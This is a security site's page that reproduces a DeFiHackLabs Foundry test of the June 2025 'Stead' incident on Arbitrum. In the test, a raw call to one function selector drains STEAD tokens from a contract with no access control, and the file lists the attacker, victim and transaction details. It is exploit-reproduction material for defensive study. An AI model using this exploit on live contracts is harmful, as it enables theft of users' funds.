Skip to content
THREATWIRE

Public reproduction file

src/test/2025-06/Stead_exp.sol

Public reproduction file for dataset entry Stead.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-06/Stead_exp.sol38 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : 14.5k USD
7// Attacker : https://arbiscan.io/address/0x5fb0b8584b34e56e386941a65dbe455ad43c5a23
8// Attack Contract : N/A
9// Vulnerable Contract : https://arbiscan.io/address/0xf9FF933f51bA180a474634440a406c95DfB27596
10// Attack Tx : https://arbiscan.io/tx/0x32dbfce2253002498cd41a2d79e249250f92673bc3de652f3919591ee26e8001
12// @Info
13// Vulnerable Contract Code : https://arbiscan.io/address/0xf9FF933f51bA180a474634440a406c95DfB27596#code
15// @Analysis
16// Post-mortem : N/A
17// Twitter Guy : https://x.com/TenArmorAlert/status/1939508301596672036
18// Hacking God : N/A
19pragma solidity ^0.8.0;
21address constant STEAD = 0x42F4e5Fcd12D59e879dbcB908c76032a4fb0303b;
22address constant VICTIM = 0xf9FF933f51bA180a474634440a406c95DfB27596;
24contract Contractf9ff is BaseTestWithBalanceLog {
25 uint256 blocknumToForkFrom = 352509408 - 1;
27 function setUp() public {
28 vm.createSelectFork("arbitrum", blocknumToForkFrom);
29 fundingToken = STEAD;
30 }
32 function testExploit() public balanceLog {
33 // The contract 0xf9ff lacks proper access control, allowing any to drain STEAD tokens from the contract.
34 bytes4 selector = 0x16fb27ce;
35 (bool success, ) = VICTIM.call(abi.encodePacked(selector, abi.encode(1, 1, 1)));
36 require(success, "Call failed");
37 }

Analysis

Dataset entry

Public Foundry test for “Stead” (2025-06-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x5fb0b8584b34e56e386941a65dbe455ad43c5a23

  • Vulnerable Contract

    0xf9ff933f51ba180a474634440a406c95dfb27596

  • Attack Tx

    0x32dbfce2253002498cd41a2d79e249250f92673bc3de652f3919591ee26e8001

File record

Name
Stead
Path
src/test/2025-06/Stead_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
2f19f4d07ec02b1f29efa0986e38896e181ef51b
Language
Solidity
Size
39 lines
Date
2025-06-29
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-06/Stead_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2f19f4d07ec02b1f29efa0986e38896e181ef51b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.